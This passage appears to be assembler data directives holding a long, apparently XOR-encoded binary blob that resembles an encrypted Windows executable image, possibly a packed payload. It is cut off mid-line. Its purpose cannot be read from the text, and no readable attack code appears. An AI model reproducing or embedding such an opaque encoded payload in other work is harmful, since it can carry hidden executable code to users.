49D9F4F9h, 85D5B48h, 0DB4849D9h, 0D5085DB0h, 0A4AA98DDh dd 0DEB008A7h, 0DB58585Fh, 0E4F9489Ch, 0D84849D8h, 0AA985DE4h dd 573FA7A4h, 58598FDDh, 0D8FCF958h, 4DD34849h, 4849D9B4h dd 0F055E757h, 594849D8h, 5BB2DB92h, 9B5DCCD0h, 0D5A7A4AAh dd 0A4AA99DDh, 4DA708A7h, 48595844h, 0BA04DDD1h, 3008A7A1h dd 48490128h, 0A7A001B0h, 0D98CF9A7h, 5D5B4849h, 4849D9B4h dd 0FB53B0DBh, 48597D88h dd 49D8F8F9h, 905D5B48h, 0DB4849D9h, 0F8FB53B0h, 0F94849DAh dd 4849D978h, 85FB0DBh, 0AA98DDD5h, 0B008A7A4h, 58585EA1h dd 0B14C9CDBh, 58585900h, 0A9E8E5DBh, 2C58A7A4h, 284DA72Fh dd 0D1484902h, 0A1BA04DDh, 0DD6130A7h, 39B04849h, 0A7A7A73Ch dd 0A1BA04EDh, 0FC4DD3A7h, 124849D8h, 0CDD5080Ah, 0A7A1B905h dd 704DA70Ah, 0D5485501h, 0A4A8F4DDh, 0E75708A7h, 49D8CC5Dh dd 5AB0DB48h, 0DA4CF908h, 0B0DB4849h, 4432085Bh, 0CC5DE757h dd 104849D9h, 584DA708h, 0D5485D72h, 0A1B905DDh, 0DDD508A7h dd 0A7A4A8F4h, 744DA708h, 0DB4858A8h, 76B3449Ch, 49D978F9h dd 0D5081048h, 0A4A8F4DDh, 0B7B008A7h, 30A7A7DEh, 4849DD69h dd 0A73BBBB0h, 0CDD508A7h, 0A7A4A8F4h, 744DA70Ah, 0DB4858A8h dd 78F94C9Ch, 0DB4849D9h, 300850B0h, 585858D8h, 0E7575A32h dd 49D8C45Dh, 0F45D5B48h, 0DB4849D9h, 570850B0h, 0D9945DE7h dd 0B0DB4849h, 58300851h, 0D5185858h, 0A4A8F4DDh, 4DA708A7h dd 48493340h, 0BB3CDDD1h, 74F9A7A1h, 574849DAh, 0DA184DE7h dd 88594849h, 857B0DBh, 0A9ECDDD5h, 0E08A7A4h, 0AA98DDD5h dd 0A708A7A4h, 0A1BB3CEDh, 444DA7A7h, 0A7484937h, 0A1BB3CEDh dd 104DA7A7h, 0DB485111h, 0A4A9E8E5h, 472D58A7h, 0DDD55D32h dd 0A7A4A8F4h, 0CC4DA708h, 57485978h, 0BB3BDDEEh, 0B008A7A1h dd 0A7A72D9Bh, 0B05DB301h, 0A7A7256Ah, 0A9E0EDA7h, 4DA7A7A4h dd 48511110h, 0A8F0E5DBh, 2C58A7A4h, 502DA751h, 0A8544DA7h dd 6074858h, 0D9B9103h, 0E757BDD1h, 49DA505Dh, 4DE75748h dd 4849D994h, 0B0DB8859h, 4DA70852h, 4855017Ch, 0D914F901h dd 5D5B4849h, 4849D958h, 853B0DBh, 5812DB30h, 0D8FCF948h dd 0B0DB4849h, 4DA7085Fh, 48595848h, 9A0598B3h, 0D10D585Ch dd 5868E0BDh, 36B05859h, 0B585855h, 0E7570F0Eh, 49D99C5Dh dd 50B0DB48h, 579C5D61h, 0DC574859h, 58585A1Ch, 49D918F9h dd 585D5B48h, 0DB4849D9h, 0A70852B0h, 49D9D86Dh, 0D92CF948h dd 0B0DB4849h, 1DD5085Fh, 4DA708A4h, 4859579Ch, 54F99BD1h dd 574849DAh, 0D8CC4DE7h, 88594849h, 615EB0DBh, 59DD579Bh dd 0D558585Ah, 5708B01Dh, 0D9C05DE7h, 5D5B4849h, 4849D9B4h dd 85CB0DBh, 49D958F9h, 51B0DB48h, 0A41DD308h, 0A760D308h dd 9BD1600Fh, 1C5DE757h, 574849D9h, 0D8EC4DE7h, 88594849h dd 6151B0DBh, 0F1DD579Bh, 57585859h, 0D89C5DE7h, 0B0DB4849h dd 1DD5085Eh, 0E75708B4h, 49D8A05Dh, 5CB0DB48h, 0B01DD308h dd 0A760D308h, 9BD1540Fh, 49D898F9h, 4DE75748h, 4849D9A8h dd 0B0DB8859h, 579B6150h, 58596BDDh, 0BC1DD558h, 5DE75708h dd 4849D9FCh, 85EB0DBh, 8B41DD5h, 49D990F9h, 5C5D5B48h dd 0DB4849DAh, 0D30852B0h, 0D308A41Dh, 640FA760h, 0A0F99BD1h dd 5B4849D9h, 49D8845Dh, 5FB0DB48h, 0DB2D9B61h, 49D948F9h dd 51B0DB48h, 8C1DD508h, 0D978F908h, 0E7574849h, 49D8F04Dh dd 0DB885948h, 0D3085FB0h, 0D308BC1Dh, 540FA760h, 70F99BD1h dd 0DB4849DAh, 9B6150B0h, 0A711DD57h, 84F9A7A7h, 574849D9h dd 0D9C04DE7h, 88594849h, 0DDD50810h, 0A7A6A788h, 8C1DD508h dd 0B41DD508h, 0D9ACF908h, 0B0DB4849h, 1DD30851h, 60D308A4h dd 0D1700FA7h, 5DE7579Bh, 4849DA50h, 0DA6C5D5Bh, 4DD34849h dd 4849D8B0h, 7055E757h, 594849D9h, 5EB2DB92h, 945DCCD0h dd 57A7A6A7h, 0D9FC5DE7h, 5D5B4849h, 4849D908h, 6152B0DBh dd 0D5402D9Bh, 0A6A78DDDh, 0DDD308A7h, 0A7A6A788h, 0B05C28A7h dd 0A7A72987h, 0D5509CDBh, 0A6A78DDDh, 2DD508A7h, 48B4DB8Ch dd 5CE1BFD1h, 0AB585858h, 0B42DD5FDh, 0D148B4DBh, 585CE1BFh dd 0FDAB5858h, 0B0A42DA7h, 0A7A7C14Dh, 0B1709CDBh, 0A7A7A754h dd 49D94CF9h, 0F45D5B48h, 0DB4849D8h, 1D6150B0h, 0D3512CBCh dd 0D308BC1Dh, 500EA768h, 49D8C0F9h, 805D5B48h, 0DB4849D9h dd 1D6155B0h, 0D3512CB0h, 0D308B01Dh, 500EA768h, 49D8B4F9h dd 1D611048h, 0D3512CA4h, 0D308A41Dh, 500EA768h, 91030607h dd 0BDD10D9Bh, 5C44B4D9h, 0E0B5858h, 6DE7570Fh, 4849D8F0h dd 0E75745B3h, 49D93C4Dh, 55E75748h, 4849D9C8h, 0B2DB9259h dd 0D182AF50h, 0A458EDCCh, 0F91EA7A7h, 4849D97Ch, 5858A65Dh dd 2A9E6158h, 0D9C4F98Dh, 0E7574849h, 49DA1C4Dh, 0DB885948h dd 0DDD153B0h, 0A7A7A3A4h, 0D97465D3h, 9FDB4849h, 5DE7577Fh dd 4849D894h, 43B39F59h, 0DA6C4DD3h, 4D5B4849h, 4849D9ACh dd 0D155B2DBh, 0D18959A1h, 0A458E5D4h, 0F91FA7A7h, 4849DA60h dd 616298DBh, 0D3812A9Fh, 0E7575405h, 49DA1C6Dh, 5FB6DB48h dd 9C65E757h, 0DB4849D8h, 6FB35EB7h, 5C4DE757h, 0DB4849D9h dd 0A1D1199Ah, 0E4D18959h, 0A7A458D5h, 584DD3A7h, 0DB4849D9h dd 0A1D1009Ah, 4DD38959h, 4849D9E4h, 0D14C9ADBh, 0D18859A0h dd 0A458D5DCh, 571FA7A7h, 0D91C5DE7h, 0E7574849h, 49D8C44Dh dd 481CD548h, 2A9F6148h, 984DD3EBh, 0D34849D8h, 49D8E455h dd 6799DB48h, 0ECCDD4D1h, 57A7A7A4h, 0D9C04DE7h, 55D34849h dd 4849D9B4h, 5B6C99DBh, 49D98855h, 0CDD4D148h, 0A7A7A4F0h dd 705DE757h, 5B4849D9h, 49DA705Dh, 55B0DB48h, 0A3ACDDD1h dd 1DD3A7A7h, 541D5B48h, 0A3A0DDD1h, 25D3A7A7h, 5919B150h dd 0E6575858h, 5ABA994Fh, 584DECD3h, 0F9A7A7A4h, 4849D9ECh dd 0AF5BB0DBh, 579E6180h, 585979DCh, 0A4DDD358h, 51A7A7A3h dd 55D45798h, 0DB585859h, 0D7575BA0h, 5858595Ch, 38DD7CA7h dd 0A74849DCh, 0A7A3A4DDh, 58AAB1A7h, 0CDD35858h, 0A7A7A3ACh dd 1855E757h, 0DB4849DAh, 88D15EB1h, 0DDD1B88Bh, 0A7A7A3B0h dd 0BADBAAD1h, 4C55D368h, 5B4849D9h, 49DA5855h, 5AB1DB48h dd 0A08B88D1h, 0A3B0CDD3h, 9A51A7A7h, 0A3ABCDD0h, 80D1A7A7h dd 0ABCDD21Bh, 0D0A7A7A3h, 0A4DDA748h, 0B1A7A7A3h, 585858C4h dd 0A3ACCDD3h, 0BADBA7A7h, 55E75757h, 4849D9C0h, 49DA60F9h dd 5914D548h, 8B88D15Bh, 0BCDDD1B8h, 0D1A7A7A3h, 64BADBAAh dd 0D8B855D3h, 555B4849h, 4849D9A4h, 0D15CB1DBh, 0D3A08B88h dd 0A7A3BCCDh, 0D09A51A7h, 0A7A3ABCDh, 1B80D1A7h, 0A3ABCDD2h dd 48D0A7A7h, 0A3A4DDA7h, 18B3A7A7h, 0A3ACCDD3h, 0BADBA7A7h dd 55E7575Bh, 4849D940h, 0D9F8555Bh, 0B1DB4849h, 8B88D152h dd 519AD1B8h, 0ABCDD0AAh, 0D1A7A7A3h, 0CDD21B80h, 0A7A7A3ABh dd 50F948D0h, 0DB4849D9h, 0DDD150B0h, 0A7A7A3A4h, 0A3ACEDD1h dd 0D81FA7A7h, 542C5867h, 0A3A0C563h, 0DA57A7A7h, 0A7A7A6F6h dd 2D5867D8h, 7380D15Fh, 50B3541Dh, 49D984F9h, 80AF1848h dd 91030607h, 0BDD10D9Bh, 0F0E0B09h, 0A85DE757h, 0DB4849D9h dd 30085EB0h, 585858D8h, 20F95C32h, 5B4849D9h, 49D9EC5Dh dd 55B0DB48h, 0D978F908h, 0E7574849h, 49D9F04Dh, 0DB885948h dd 300850B0h, 18585858h, 516A6830h, 404DA748h, 0D1484933h dd 0F958329Fh, 4849D9E0h, 0D8985D5Bh, 0B0DB4849h, 2DA7085Eh dd 4DA70F54h, 48493768h, 0D1501DD3h, 0A790DB99h, 5964D818h dd 0D1A12D58h, 0B845D39Eh, 0DB4849D9h, 0D50B5CB3h, 0E0BA405h dd 0F502DA7h, 37444DA7h, 0A70F4849h, 5111104Dh, 3060748h dd 300F9B91h, 4849DD79h, 0A704BFB0h, 0A70801A7h, 597DC04Dh dd 0DA30FB48h, 0E7574849h, 49D9C85Dh, 50B0DB48h, 0DA305D61h dd 4F2D4849h, 49DD4930h, 4E6B048h, 801A7A7h, 6A404DA7h dd 30FB485Dh, 304849DAh dd 4849DD58h, 0A704FFB0h, 6DA708A7h, 4849DA30h, 79F44DA7h dd 6CFB4859h, 30484937h, 4849DCB6h, 0A704D3B0h, 6DA708A7h dd 4849DA30h, 79F44DA7h, 54FB4859h, 30485958h, 4849DC86h dd 0A70437B0h, 6DA708A7h, 4849DA30h, 79F44DA7h, 1CFB4859h dd 30484928h, 4849DC97h, 0A7040BB0h, 6DA708A7h, 4849DA30h dd 79F44DA7h, 10FB4859h, 304858A8h, 4849DCE7h, 0A7046FB0h dd 4C9CDBA7h, 306DA708h, 0A74849DAh, 5979F44Dh, 6A7CFB48h dd 9B074851h, 0D9BDD10Dh, 585900B4h, 0F0E0B58h, 0A73663B0h dd 3C44B0A7h, 4BB0A7A7h, 0B0A7A7A7h, 0A7A7B1D6h, 0A7B747B0h dd 0E08AB0A7h, 0E7B0A7A7h, 0B0A7A7E1h, 0A7A7F454h, 0A724B0B0h dd 9B05B0A7h, 0CEB0A7A7h, 0D1A7A798h, 350DB09Eh, 9AD1A7A7h dd 0A6E4CDD0h, 0EE57A7A7h, 0A7A6E4DDh, 584DD3A7h, 5B4849DAh dd 49DA104Dh, 5FB2DB48h, 4D2D8861h, 49D8C8F9h, 505D5B48h dd 0DB4849D9h, 0A70853B0h, 4901384Dh, 0DDEE5748h, 0A7A7A6E4h dd 0D9344DD3h, 0B2DB4849h, 2D88615Ch, 0D954F940h, 98DB4849h dd 805D5B04h, 84849D8h, 17C4DA7h, 0B3014855h, 57AE51C0h dd 585887DDh, 0DCEC3058h, 39B04849h, 0D1A7A703h, 0A7A6E8DDh dd 0DCF230A7h, 9B04849h, 8A7A703h, 0A6E8CDD3h, 0D50AA7A7h dd 0A7A6E5CDh, 4DA70AA7h, 48550170h, 0A6E5DDD5h, 3208A7A7h dd 0DA68F958h, 0E7574849h, 49D9404Dh, 0DB885948h, 0A70851B0h dd 5101504Dh, 309FD148h, 4849DCC6h, 0A70357B0h, 0F4DDD1A7h dd 30A7A7A6h, 4849DCCCh, 0A702A7B0h, 6C4DD3A7h, 574849DAh dd 0D8AC55E7h, 92594849h, 0A5CB2DBh, 0F4CDD308h, 0AA7A7A6h dd 0A6E5CDD5h, 0A70AA7A7h, 5501704Dh, 749CDB48h, 0A6E5DDD5h dd 3208A7A7h, 846DA759h, 0A74849D9h, 5101504Dh, 0F99FD148h dd 4849D898h, 615AB0DBh, 0A7542D9Fh, 49DA7C6Dh, 384DA748h dd 0F9484901h, 4849D8B8h, 57A998DBh, 0D9404DE7h, 88594849h dd 4DA70F08h, 48550178h, 3C5DE757h, 104849D9h, 0C04DA708h dd 0D148597Dh, 325DD59Bh, 0D1485806h, 1D9F981Dh, 58585D80h dd 5DE75758h, 4849D9CCh, 9A599AD1h, 0B0DB88D1h, 881DD15Ah dd 0C85DE757h, 0DB4849D9h, 1DD150B0h, 9405D18Ch, 49DA44F9h dd 905D5B48h, 0DB4849D9h, 1DD154B0h, 0E41D9F90h, 5858585Bh dd 49DCD230h, 27EB048h, 1DD1A7A7h, 0D898F9B8h, 5D5B4849h dd 4849D8E0h, 0D15EB0DBh, 34F99C1Dh, 0DB4849D9h, 1DD15DB0h dd 0E41DD584h, 0C84DA708h, 30485978h, 4849CF9Bh, 0A701ABB0h dd 0F0DDD1A7h, 30A7A7A6h, 4849DCD8h, 0A701BBB0h, 0AC4DD3A7h dd 0DB4849D9h, 0B0A51B2h, 9C4DE757h, 5B4849D9h, 49D9184Dh dd 51B2DB48h, 0E04DD30Ah, 0DB4849D9h, 0D30A5CB2h, 49D88C4Dh dd 55E75748h, 4849DA48h, 0B2DB9259h, 4DD30A52h, 4849D8FCh dd 0D88455D3h, 89594849h, 953B1DBh, 0D9E855D3h, 555B4849h dd 4849D990h, 957B1DBh, 0D97C4D5Bh, 0B2DB4849h, 58300A51h dd 8589258h, 0A6F0CDD3h, 570AA7A7h, 0D9C04DE7h, 4D5B4849h dd 4849DA54h, 0A5DB2DBh, 11644DA7h, 98FB4851h, 0D548597Dh dd 0A7A6E0DDh, 0B00B08A7h, 0A7A722FFh, 0A6ECDDD1h, 5832A7A7h dd 0A7C34EB0h, 409CDBA7h, 0A6E0DDD3h, 9CFBA7A7h, 0D348597Dh dd 0A7A6ECDDh, 0A4FBA7h, 0AE514851h, 70B0402Dh, 0F9A7A7E1h dd 4849D8B0h, 0DA645D5Bh, 0FB104849h, 48550174h, 0E75749B3h dd 49D9B05Dh, 62C95D48h, 74FB5858h, 30485501h, 48589327h dd 0A721FBB0h, 0AE5101A7h, 75B0722Dh, 0B0A7A79Eh, 0A7A7AE46h dd 0A7910CB0h, 2A84B0A7h, 4CB3A7A7h, 8BC1DD5h, 3584DA7h dd 1DD54849h, 4DA708BCh, 48595840h, 3C5DE757h, 104849D9h dd 0D9E0F908h, 0B0DB4849h, 0E757085Ch, 49DA185Dh, 50B0DB48h dd 0BC1DD508h, 104DA708h, 5148516Dh, 7992D98h, 9A910306h dd 0D10D585Ch, 0CB4DBBDh, 0F90F0E0Bh, 4849D8E8h, 0D9245D5Bh dd 0B0DB4849h, 2DA70853h, 502DA748h, 0A7942EB0h, 549CDBA7h dd 0DDF41DD1h, 28DD5798h, 3058585Ah, 4849DC28h, 0A7D445B0h dd 0A70801A7h, 5958544Dh, 0A81DD148h, 0B01D9F3Eh, 1DD55850h dd 2DD508A0h, 48B4DBB0h, 5CE1BFD1h, 0AB585858h, 4825D3FDh dd 0A767D30Fh, 9BD1680Fh, 9C5DE757h, 574849D8h, 0D99C4DE7h dd 88594849h, 6156B0DBh, 58DD579Bh, 0D558585Ah, 3008981Dh dd 4849C260h, 8A01DD3h, 4CA760D3h, 58585865h, 579BD158h dd 0D8CC5DE7h, 5D5B4849h, 4849D980h, 615EB0DBh, 9FDD579Bh dd 3E585859h, 5A881D9Fh, 0DA44F958h, 0E7574849h, 49DA184Dh dd 0DB885948h, 1DD154B0h, 0BC1DD580h, 882DD508h, 0D148B4DBh dd 585CE1BFh, 0FDAB5858h, 0DB882DD5h, 0BFD148B4h, 58585CE1h dd 0D3FDAB58h, 0D30F9825h, 740FA767h, 78F99BD1h, 0DB4849DAh dd 9B615AB0h, 593FDD57h, 14F95858h, 0DB4849DAh, 1DD151B0h dd 0A41DD5A4h, 0C2103008h, 1DD34849h, 60D308BCh, 58654CA7h dd 0D1585858h, 0DA54F99Bh, 0B0DB4849h, 579B615Ch, 585973DDh dd 885DA758h, 0F948597Dh, 4849D938h, 0DA585D5Bh, 0B0DB4849h dd 885D615Ah, 2A48597Dh, 0D8A8F979h, 98DB4849h, 105D5B5Bh dd 0FB4849DAh, 48597D88h, 0B0A42DA7h, 0A7A736F9h, 58BDB101h dd 0E7575858h, 49D9CC5Dh, 0D45D5B48h, 0DB4849D9h, 1DD15AB0h dd 0E81DD5E0h, 446DA708h, 0B04858A8h, 0A7A7BB8Eh, 0D5941DD1h dd 0A708EC1Dh, 59578C6Dh, 0BB9CB048h, 1DD1A7A7h, 0E41DD590h dd 786DA708h, 0B0485110h, 0A7A7BBEAh, 0D1409CDBh, 25DB9C1Dh dd 432C58E4h, 4F2C98DDh, 1DD51B32h, 2DA708E0h, 0E42DA7A4h dd 0B09C2DA7h, 0A7A7E8E1h, 0DB4C9CDBh, 2C58EC25h, 9025DB45h dd 324F2C58h, 0E01DD508h, 0A42DA708h, 0A7EC2DA7h, 0CEB0902Dh dd 0DBA7A7E8h, 25DB4C9Ch, 452C58E8h, 589425DBh, 1C324F2Ch dd 8E01DD5h, 0A7A42DA7h, 2DA7E82Dh, 0E82BB094h, 9CDBA7A7h dd 902DA74Ch, 7D944DA7h, 2DA74859h, 944DA79Ch, 0A748597Dh dd 4DA7942Dh, 48597D94h, 0CC5DE757h, 184849D9h, 482DA708h dd 0B0502DA7h, 0A7A79263h, 0D3549CDBh, 0D308A41Dh, 500EA768h dd 8BC1DD3h, 0EA768D3h, 981DD350h, 0A768D308h, 1DD3500Eh dd 68D308A0h, 0D5500EA7h, 0A708B01Dh, 49376C4Dh, 0D9F4F948h dd 5D5B4849h, 4849D8F8h, 615DB0DBh, 7582C9Bh, 9B910306h dd 581859E0h, 58489AD8h, 0B4D901C8h, 58584858h, 58485875h dd 7C5CDD58h, 58485865h, 71B32B58h, 7C5CDD9Ch, 19B09h dd 995B98DBh, 0B8995AB0h, 4858655Ah, 46245858h, 8308BAD1h dd 54D17C5Ch, 7C5C837Ch, 0A7A798B0h, 0A8CD1A7h, 0D37C4483h dd 44837C54h, 9C71007Ch, 589FB8D1h, 58585858h, 589B0909h dd 18986958h, 5858549Ah, 64810858h, 7C5CD37Ch, 7C6CE257h dd 54D93E50h, 815A587Ch, 0D0017C74h, 5BB8DBB8h, 6481089Bh dd 0ABB3007Ch, 7C648108h, 3E7C5CD3h, 587C54D9h, 58B8B35Bh dd 0B4D90158h, 58584858h, 58485875h, 7C5CDD58h, 58485865h dd 71B32B58h, 7C5CDD9Ch, 5858B9A7h, 7C0CD358h, 0E1986950h dd 0A7A7A7A7h, 0F6AAA2DFh, 11D581AFh, 7C1CD3A7h, 24D3CE50h dd 0FCAB5C7Ch, 0D38FDFCEh, 9A5C7C1Ch, 58585850h, 0F47DA758h dd 0C84849F8h, 585858C8h, 0E87DA758h, 0C84849F8h, 585858C8h dd 0EC7DA758h, 0C84849F8h, 585858C8h, 987DA758h, 0C84849F8h dd 585858C8h, 9C7DA758h, 0C84849F8h, 585858C8h, 907DA758h dd 0C84849F8h, 585858C8h dd 947DA758h, 0C84849F8h, 585858C8h, 887DA758h, 0C84849F8h dd 585858C8h, 8C7DA758h, 0C84849F8h, 585858C8h, 807DA758h dd 0C84849F8h, 585858C8h, 847DA758h, 0C84849F8h, 585858C8h dd 5Fh dup(58585858h), 58BD2058h, 58585848h, 4 dup(58585858h) dd 582B7D58h, 2A582F58h, 1Ch dup(58585858h), 58585C58h dd 58585A58h, 58585158h, 58585E58h, 58585B58h, 58585F58h dd 58585858h, 58585F58h, 2 dup(58585D58h), 58585C58h, 58585858h dd 58585A58h, 58585E58h, 2 dup(58585958h), 58585E58h, 58585D58h dd 58585E58h, 58585C58h, 58585E58h, 58585D58h, 2 dup(58585958h) dd 58585B58h, 58585A58h, 58585D58h, 58585A58h, 58585158h dd 58585858h, 58585058h, 58585A58h, 58585158h, 58585958h dd 58585058h, 58585A58h, 58585058h, 58585A58h, 58585D58h dd 58585058h, 58585958h, 58585A58h, 58585B58h, 58585158h dd 58585958h, 58585C58h, 58585958h, 58585A58h, 58585C58h dd 58585058h, 58585B58h, 58585C58h, 58585F58h, 58585958h dd 58585A58h, 58585D58h, 58585C58h, 58585F58h, 58585158h dd 58585F58h, 58585858h, 58585C58h, 58585D58h, 58585958h dd 58585058h, 2 dup(58585958h), 58585C58h, 58585058h, 58585E58h dd 58585858h, 58585A58h, 58585F58h, 2 dup(58585C58h), 58585E58h dd 58585958h, 2 dup(58585058h), 58585158h, 58585F58h, 58585058h dd 58585C58h, 58585858h, 2 dup(58585C58h), 58585F58h, 58585B58h dd 58585E58h, 58585158h, 58585B58h, 58585858h, 58585D58h dd 58585A58h, 58585958h, 58585C58h, 58585D58h, 58585B58h dd 58585858h, 58585C58h, 58585A58h, 58585958h, 58585058h dd 58585F58h, 58585958h, 58585058h, 2 dup(58585858h), 58585058h dd 58585F58h, 58585C58h, 58585158h, 10h dup(58585858h) dd 58B03858h, 39585858h, 585858B1h, 3 dup(58585858h), 5832D958h dd 58D05B48h, 58D22048h, 580FC348h, 58902548h, 58F67E48h dd 5806D048h, 58585848h, 587D0E58h, 587D6748h, 581CB948h dd 581F4B48h, 58BD4B48h, 58FA8848h, 587CB148h, 49DA9048h dd 58585848h, 5895CB58h, 589F9248h, 581D5048h, 58FFD548h dd 587D6F48h, 580A2448h, 580E0A48h, 49DAB448h, 393D1448h dd 2A1B3D2Eh, 3B312C31h, 3D0B3439h, 37312C3Bh, 2A1B5836h dd 3D2C393Dh, 3D2A300Ch, 1D583C39h, 2A3D2C36h, 2C312A1Bh dd 34393B31h, 2C3B3D0Bh, 58363731h, 2C313611h, 31343931h dd 2A1B3D22h, 3B312C31h, 3D0B3439h, 37312C3Bh, 58585836h dd 32FC2058h, 9FEF0E8Fh, 782883B0h, 0E596B67Ch, 2457F799h dd 0DF9E72ADh, 681E4B1Fh, 1ECD59F0h, 0D8C080A5h, 1CAFF731h dd 0A703E9D3h, 48FE6A7h, 0C8497AD1h, 0C029CB33h, 211BD6A5h dd 0EC5079FEh, 467D3A11h, 18EB18AEh, 6020998h, 0EE9FF27Eh dd 774805B1h, 1C4C0B8Eh, 0F9BED95Ah, 8BA39080h, 0B995BEBFh dd 6F5F8E79h, 8D55DF9Bh, 24CB5ACh, 0BBB15D1Dh, 0B7FBA0F1h dd 375A81A4h, 7214D23Fh, 0A2611AD5h, 29AED9A7h, 0C5397ADFh dd 0BD605435h, 0E6B21CA5h, 8697F1FCh, 0E3133813h, 0E7E428AEh dd 0C3269EE6h, 0F97FA270h, 0B768DDB2h, 0D0455D8Ch, 8C88615Ch dd 83C1BD81h, 0FA24A0BEh, 0F40E3D47h, 717A1C9Ch, 72A7CFACh dd 0CC7BFF1Bh, 0CBF861F3h, 3019BA4h, 5494CA3Dh, 0B7AC25D7h dd 0DC0589A7h, 0F02617DDh, 74BEB837h, 591B4CA6h, 5049F9FBh dd 0B26DA16h, 62AA6DAFh, 8F8AE3E5h, 0DE8BC972h, 588462B3h dd 58841D48h, 5884C348h, 5884AF48h, 58585C48h, 32587058h dd 34583F58h, 58582958h, 82585E58h, 0AFF3E9E9h, 5E58FAF4h dd 0E0E08B58h, 0F3FDA6FAh, 96585E58h, 0BBE7FDFDh, 5058EEE0h dd 5F092C58h, 54584173h, 5E585909h, 2A2A4158h, 39376C30h dd 43585F58h, 2E1C3066h, 58723B37h, 0F5B15854h, 0F6C1C2D8h dd 0D0E1C5D4h, 58DCD0C3h, 0C99F5853h, 0FEF6EDFEh, 0F1D6EBF1h dd 5458EBF6h, 0D3E4B258h, 0DCD3DBC0h, 0D7DEF1C6h, 5658C0D3h dd 0B19BC858h, 0A4A489BBh, 0BC9BABA7h, 0AFA6A1BAh, 0DD585558h dd 9BAEA48Eh, 8EB8B8AFh, 0B3B4AFA9h, 585458BAh, 70E0D62h dd 51161703h, 0E064C50h, 5854580Eh, 1910137Ch, 4F08091Dh dd 1018524Eh, 585C5810h, 7B7E341Ah, 5853586Eh, 0B3E6CA96h dd 0E3B3C9E3h, 0FAFAF2B8h, 0FF585958h, 585958A9h, 4F588BDEh dd 87C1E458h, 87C187C1h, 0C1C987C1h, 2 dup(0C187C187h) dd 8B87CA87h, 584E5889h, 0F0B6F0D5h, 0F0B6F0B6h, 0F8B6F0B6h dd 2 dup(0B6F0B6F0h), 58A0A7FBh, 16655852h, 0A3A0603h dd 9014B16h, 58525809h, 0BDB8ADDEh, 0F0ADB181h, 58B2B2BAh dd 0F8DD585Ch, 5881E7BEh, 0B8EA5848h, 9FBB8D8Fh, 0BC93988Fh dd 8F9F868Bh, 58AB92AFh, 0E1AE5848h, 0FEC0CBDEh, 0CBCDC1DCh dd 0C1FADDDDh, 58C0CBC5h, 0EEA9584Bh, 0C6FDDDCCh, 0E0C7CCC2h dd 0DBC6CFC7h, 0C0DDC8C4h, 4458C7C6h, 7F581158h, 70786578h dd 746B787Dh, 64727442h, 68657863h, 72627455h, 65617863h dd 5458637Eh, 5E7C3B58h, 5E486E4Fh, 565A7549h, 55587A5Eh dd 7B4C1E58h, 7B6E5179h, 677B5570h, 585F665Bh, 0ADFE5842h dd 9BAD8A9Bh, 978C8B9Dh, 9BBA878Ah, 978C9D8Dh, 8C918A8Eh dd 9B9089B1h, 584A588Ch, 0E8F9DB9Ch, 0CFF8F5CFh, 0E9DDFEE9h dd 0EEF3F4E8h, 58E5E8F5h, 0CD9E5848h, 0F7D8EAFBh, 0FBCDFBF2h dd 0F7ECEBFDh, 58DFE7EAh, 0B9F5584Dh, 809E9A9Ah, 9C87A585h dd 90999C83h, 94A39092h, 0B4908099h, 0EA584F58h, 0B99E8FADh dd 9FB98E83h, 9E9FAB88h, 83988582h, 85A9939Eh, 589E849Fh dd 1C5D584Dh, 2E283739h, 36320929h, 2F0D3338h, 31342B34h dd 2E383A38h, 70585358h, 33171522h, 15031F1Ch, 5809153Bh dd 0C98E5841h, 0E7DDFAEBh, 0EBEAC7EAh, 0E8E7FAE0h, 0CFFCEBE7h dd 0E1E6FAFBh, 0F7FAE7FCh, 1F584158h, 4C6B7A4Ch, 6D6A7C7Ah dd 5B666B76h, 6D7C6C7Ah, 706B6F76h, 7C7E5B6Dh, 58545873h dd 0E3F1F495h, 0A6FCE5F4h, 0F9F1BBA7h, 585458F9h, 0C0D2D7B6h dd 85DFC6D7h, 0DAD29884h, 585958DAh, 5A58304Ch, 0F5A98958h dd 0A4585958h, 585C589Eh, 36666343h, 58595879h, 52582D51h dd 55496958h, 243B262Fh, 571C4C53h, 0AC585358h, 0FEEA908Ch dd 96E9E1EDh, 5892D989h, 0FFDF5852h, 9E8D99E3h, 92E59A92h dd 585858E1h, 58585D58h, 24585258h, 3E583358h, 37582758h dd 58585858h, 58585C58h, 0A586458h, 9580558h, 58580158h dd 76585A58h, 59585656h, 58CCE358h, 98F5584Ah, 99819686h dd 8186AA86h, 86808194h, 0C6879497h, 585658C7h, 0C4C7F2A6h dd 0C2C8CFF1h, 0CAE5D1C9h, 58D5D5C7h, 7D46585Bh, 5C587B29h dd 357D4658h, 5C587B29h, 0C09FA458h, 5C588E99h, 0CE91AA58h dd 58588B97h, 58585B58h, 1584858h, 0F580558h, 59585858h dd 5892CE58h, 75505857h, 36340C23h, 2A25753Ch, 347E6263h dd 48583C3Ch, 0EFB99C58h, 0EEEFEBC0h, 0E8E6E9B9h, 0F8B2AEAFh dd 5358F0F0h, 0F9AF8A58h, 0AFF9AFD6h, 0E6E4A4FFh, 585758F9h dd 0B29DCBEEh, 9BCB8885h, 0DCDD9482h, 82828AC0h, 0F6585C58h dd 0AEC4D8D3h, 0B0585958h, 585A5895h, 58C187A2h, 0B6E65851h dd 93828994h, 82AF9285h, 5E587458h, 0A18110Dh, 1B0C1F09h dd 3D371302h, 312D312Ch, 9022A38h, 313A3037h, 107E2D29h dd 2B1D020Ah, 303B2C2Ch, 2C3B082Ah, 3031372Dh, 27585158h dd 43485577h, 6E534452h dd 58715843h, 1F160A59h, 0B180E0Dh, 3014051Ch, 2A362B3Ah dd 52D3F36h, 3D37300Eh, 52A2E36h, 2B2B2C1Ah, 0F2D373Ch dd 302A2B3Ch, 59583736h, 58D2FC58h, 0B499585Ch, 58B7C1BCh dd 6A09585Bh, 50585533h, 7577258h, 5C07575Ch, 5A580757h dd 0BFA5EB58h, 0AB585A58h, 5358F392h, 2337058h, 15041115h dd 41E1F36h, 58515831h, 808D8EE9h, 8DC7DBDAh, 51588585h dd 6F6C0B58h, 25393862h, 5867676Fh, 394A5855h, 2F3E3933h dd 25383A27h, 2F26232Ch, 25585E58h, 4C535740h, 59584046h dd 58725658h, 1340585Eh, 5141319h, 5850580Dh, 12047757h dd 141E0105h, 58185812h, 3020140h, 7060504h, 0B0A0908h dd 0F0E0D0Ch, 13121110h, 17161514h, 211A1918h, 25242322h dd 29282726h, 2D2C2B2Ah, 31302F2Eh, 35343332h, 39383736h dd 7271703Ah, 76757473h, 6B797877h, 5858586Fh, 58585158h dd 9258F058h, 96589558h, 82589F58h, 0B5589558h, 94589E58h dd 